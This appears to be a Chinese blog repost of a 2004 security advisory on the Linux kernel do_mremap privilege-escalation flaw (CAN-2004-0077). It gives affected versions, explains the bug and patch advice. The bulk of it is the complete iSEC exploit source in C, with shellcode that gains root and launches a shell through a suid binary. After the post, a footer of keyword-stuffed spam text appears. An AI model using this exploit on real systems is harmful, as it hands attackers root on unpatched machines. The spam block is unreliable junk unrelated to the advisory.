• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            Linux Kernel do_mremap VMA本地權限提升漏洞

            日期:2004-03-05

            發布日期:2004-02-18
            更新日期:2004-03-03

            受影響系統:
            Linux kernel 2.6.2
            Linux kernel 2.6.1
            Linux kernel 2.6
            Linux kernel 2.4.9
            Linux kernel 2.4.8
            Linux kernel 2.4.7
            Linux kernel 2.4.6
            Linux kernel 2.4.5
            Linux kernel 2.4.4
            Linux kernel 2.4.3
            Linux kernel 2.4.24
            Linux kernel 2.4.23
            Linux kernel 2.4.22
            Linux kernel 2.4.21
            Linux kernel 2.4.20
            Linux kernel 2.4.2
            Linux kernel 2.4.19
            Linux kernel 2.4.17
            Linux kernel 2.4.16
            Linux kernel 2.4.15
            Linux kernel 2.4.14
            Linux kernel 2.4.13
            Linux kernel 2.4.12
            Linux kernel 2.4.11
            Linux kernel 2.4.10
            Linux kernel 2.4.1
            Linux kernel 2.4
            Linux kernel 2.2.9
            Linux kernel 2.2.8
            Linux kernel 2.2.7
            Linux kernel 2.2.6
            Linux kernel 2.2.5
            Linux kernel 2.2.4
            Linux kernel 2.2.3
            Linux kernel 2.2.25
            Linux kernel 2.2.24
            Linux kernel 2.2.23
            Linux kernel 2.2.22
            Linux kernel 2.2.21
            Linux kernel 2.2.20
            Linux kernel 2.2.2
            Linux kernel 2.2.19
            Linux kernel 2.2.18
            Linux kernel 2.2.17
            Linux kernel 2.2.16
            Linux kernel 2.2.15
            Linux kernel 2.2.14
            Linux kernel 2.2.13
            Linux kernel 2.2.12
            Linux kernel 2.2.11
            Linux kernel 2.2.10
            Linux kernel 2.2.1
            Linux kernel 2.2
            Linux kernel 2.4.18
                - Conectiva Linux 8.0
                - Conectiva Linux 7.0
                - Debian Linux 3.0
                - Mandrake Linux 8.2
                - Mandrake Linux 8.1
                - RedHat Linux 8.0
                - RedHat Linux 7.3
                - Slackware Linux 8.1
                - Slackware Linux 8.0
                - SuSE Linux 8.2
                - SuSE Linux 8.1
            不受影響系統:
            Linux kernel 2.6.3
            Linux kernel 2.4.25
            Linux kernel 2.2.26
            描述:
            --------------------------------------------------------------------------------
            CVE(CAN) ID: CAN-2004-0077

            Linux是一款開放源代碼操作系統。

            Linux內核中mremap(2)系統調用由于沒有對函數返回值進行檢查,本地攻擊者可以利用這個漏洞獲得root用戶權限。

            mremap系統調用被應用程序用來改變映射區段(VMAs)的邊界地址。mremap()系統調用提供對已存在虛擬內存區域調整大小。從VMA區域移動部分虛擬內存到新的區域需要建立一個新的VMA描述符,也就是把由VMA描述的下面的頁面表條目(page table entries)從老的區域拷貝到進程頁表中新的位置。

            要完成這個任務do_mremap代碼需要調用do_munmap()內部內核函數去清除在新位置中任何已經存在的內存映射,也就是刪除舊的虛擬內存映射。不幸的是代碼沒有對do_munmap()函數的返回值進行檢查,如果可用VMA描述符的最大數已經超出,那么函數調用就可能失敗。

            isec利用這個漏洞通過頁表緩沖(page table cache)使包含在頁中的惡意指令被執行。詳細方法可參看如下地址:

            http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

            <*來源:Paul Starzetz (paul@starzetz.de)
              
              鏈接:http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
            *>

            測試方法:
            --------------------------------------------------------------------------------

            警 告

            以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

            Paul Starzetz (paul@starzetz.de)提供了如下測試方法:

            /*
            *
            *    mremap missing do_munmap return check kernel exploit
            *
            *    gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
            *    ./mremap_pte [suid] [[shell]]
            *
            *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
            *
            *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
            *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
            *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
            *
            */

            #include <stdio.h>
            #include <stdlib.h>
            #include <errno.h>
            #include <unistd.h>
            #include <syscall.h>
            #include <signal.h>
            #include <time.h>
            #include <sched.h>

            #include <sys/mman.h>
            #include <sys/wait.h>
            #include <sys/utsname.h>

            #include <asm/page.h>


            #define str(s) #s
            #define xstr(s) str(s)

            //    this is for standard kernels with 3/1 split
            #define STARTADDR    0x40000000
            #define PGD_SIZE    (PAGE_SIZE * 1024)
            #define VICTIM        (STARTADDR + PGD_SIZE)
            #define MMAP_BASE    (STARTADDR + 3*PGD_SIZE)

            #define DSIGNAL        SIGCHLD
            #define CLONEFL        (DSIGNAL|CLONE_VFORK|CLONE_VM)

            #define MREMAP_MAYMOVE    ( (1UL) << 0 )
            #define MREMAP_FIXED    ( (1UL) << 1 )

            #define __NR_sys_mremap    __NR_mremap


            //    how many ld.so pages? this is the .text section length (like from cat    
            //    /proc/self/maps) in pages
            #define LINKERPAGES    0x14

            //    suid victim
            static char *suid="/bin/ping";

            //    shell to start
            static char *launch="/bin/bash";


            _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,        
                  ulong, e);
            unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
                         unsigned long new_len, unsigned long flags,
                         unsigned long new_addr);

            static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
            static int i, pid=0;
            static char *env[2], *argv[2];
            static ulong ret;


            //    code to appear inside the suid image
            static void suid_code(void)
            {
            __asm__(
                "        call    callme                \n"

            //    setresuid(0, 0, 0), setresgid(0, 0, 0)
                "jumpme:    xorl    %ebx, %ebx            \n"
                "        xorl    %ecx, %ecx            \n"
                "        xorl    %edx, %edx            \n"
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_setresuid)", %al    \n"
                "        int    $0x80                \n"
                "        mov    $"xstr(__NR_setresgid)", %al    \n"
                "        int    $0x80                \n"

            //    execve(launch)
                "        popl    %ebx                \n"
                "        andl    $0xfffff000, %ebx        \n"
                "        xorl    %eax, %eax            \n"
                "        pushl    %eax                \n"
                "        movl    %esp, %edx            \n"
                "        pushl    %ebx                \n"
                "        movl    %esp, %ecx            \n"
                "        mov    $"xstr(__NR_execve)", %al    \n"
                "        int    $0x80                \n"

            //    exit
                "        xorl    %eax, %eax            \n"
                "        mov    $"xstr(__NR_exit)", %al        \n"
                "        int    $0x80                \n"

                "callme:    jmp    jumpme                \n"
                );
            }


            static int suid_code_end(int v)
            {
            return v+1;
            }


            static inline void get_esp(void)
            {
            __asm__(
                "        movl    %%esp, %%eax            \n"
                "        andl    $0xfffff000, %%eax        \n"
                "        movl    %%eax, %0            \n"
                : : "m"(old_esp)
                );
            }


            static inline void cloneme(void)
            {
            __asm__(
                "        pusha                    \n"
                "        movl $("xstr(CLONEFL)"), %%ebx        \n"
                "        movl %%esp, %%ecx            \n"
                "        movl $"xstr(__NR_clone)", %%eax        \n"
                "        int  $0x80                \n"
                "        movl %%eax, %0                \n"
                "        popa                    \n"
                : : "m"(pid)
                );
            }


            static inline void my_execve(void)
            {
            __asm__(
                "        movl %1, %%ebx                \n"
                "        movl %2, %%ecx                \n"
                "        movl %3, %%edx                \n"
                "        movl $"xstr(__NR_execve)", %%eax    \n"
                "        int  $0x80                \n"
                : "=a"(ret)
                : "m"(suid), "m"(argv), "m"(env)
                );
            }


            static inline void pte_populate(unsigned addr)
            {
            unsigned r;
            char *ptr;

                memset((void*)addr, 0x90, PAGE_SIZE);
                r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
                ptr = (void*) (addr + PAGE_SIZE);
                ptr -= r+1;
                memcpy(ptr, suid_code, r);
                memcpy((void*)addr, launch, strlen(launch)+1);
            }


            //    hit VMA limit & populate PTEs
            static void exhaust(void)
            {
            //    mmap PTE donor
                t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                if(MAP_FAILED==t)
                    goto failed;

            //    prepare shell code pages
                for(i=2; i<LINKERPAGES+1; i++)
                    pte_populate(victim + PAGE_SIZE*i);
                i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
                if(i)
                    goto failed;

            //    lock unmap
                base = MMAP_BASE;
                cnt = 0;
                prot = PROT_READ;
                printf("\n"); fflush(stdout);
                for(;;) {
                    t = mmap((void*)base, PAGE_SIZE, prot,
                         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
                    if(MAP_FAILED==t) {
                        if(ENOMEM==errno)
                            break;
                        else
                            goto failed;
                    }
                    if( !(cnt%512) || cnt>65520 )
                        printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                        base+PAGE_SIZE); fflush(stdout);
                    base += PAGE_SIZE;
                    prot ^= PROT_EXEC;
                    cnt++;
                }

            //    move PTEs & populate page table cache
                ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                         MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                if(-1==ret)
                    goto failed;

                munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,        
                     PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
                     0);
                if(MAP_FAILED==t)
                    goto failed;

                *t = *((unsigned *)old_esp);
                munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                printf("\n[+] Success\n\n"); fflush(stdout);
                return;

            failed:
                printf("\n[-] Failed\n"); fflush(stdout);
                _exit(0);
            }


            static inline void check_kver(void)
            {
            static struct utsname un;
            int a=0, b=0, c=0, v=0, e=0, n;

                uname(&un);
                n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                if(n!=3 || a!=2) {
                    printf("\n[-] invalid kernel version string\n");
                    _exit(0);
                }

                if(b==2) {
                    if(c<=25)
                        v=1;
                }
                else if(b==3) {
                    if(c<=99)
                        v=1;
                }
                else if(b==4) {
                    if(c>18 && c<=24)
                        v=1, e=1;
                    else if(c>24)
                        v=0, e=0;
                    else
                        v=1, e=0;
                }
                else if(b==5 && c<=75)
                    v=1, e=1;
                else if(b==6 && c<=2)
                    v=1, e=1;

                printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
                    un.release, v? "YES" : "NO", e? "YES" : "NO" );
                fflush(stdout);

                if(v && e)
                    return;
                _exit(0);
            }


            int main(int ac, char **av)
            {
            //    prepare
                check_kver();
                memset(env, 0, sizeof(env));
                memset(argv, 0, sizeof(argv));
                if(ac>1) suid=av[1];
                if(ac>2) launch=av[2];
                argv[0] = suid;
                get_esp();

            //    mmap & clone & execve
                exhaust();
                cloneme();
                if(!pid) {
                    my_execve();
                } else {
                    waitpid(pid, 0, 0);
                }

            return 0;
            }

            建議:
            --------------------------------------------------------------------------------
            廠商補?。?br>
            Linux
            -----
            目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

            http://www.kernel.org/


            下載 

            posted on 2007-06-01 03:10 葉子 閱讀(506) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

            欧美综合天天夜夜久久| 久久免费视频1| 久久无码人妻一区二区三区午夜| 国内精品伊人久久久久| 青青草原精品99久久精品66 | 天天躁日日躁狠狠久久| 久久久久免费精品国产| 久久精品中文字幕大胸| 国产毛片久久久久久国产毛片| 99精品国产在热久久无毒不卡| 狼狼综合久久久久综合网| 蜜臀av性久久久久蜜臀aⅴ麻豆| 久久婷婷五月综合成人D啪| 思思久久99热只有频精品66| 久久亚洲AV无码精品色午夜| 久久精品国产亚洲AV久| 久久人人爽人人爽人人AV东京热| 久久国产精品99国产精| 久久中文娱乐网| 日日狠狠久久偷偷色综合0| 伊人热热久久原色播放www| 狠狠色婷婷久久综合频道日韩 | 91精品国产乱码久久久久久| 99久久99久久久精品齐齐 | 国产精品久久久久久影院| 久久精品国产精品亚洲精品| 久久www免费人成精品香蕉| 免费无码国产欧美久久18| 久久精品国产亚洲AV嫖农村妇女| 日本三级久久网| 亚洲а∨天堂久久精品| 国产亚洲精品自在久久| 国产精品久久久久久久午夜片| 人妻无码久久精品| 国产午夜精品久久久久免费视 | 久久综合日本熟妇| 欧美黑人激情性久久| 精品久久久久久国产牛牛app | 一级a性色生活片久久无| 精品永久久福利一区二区| 一级a性色生活片久久无少妇一级婬片免费放 |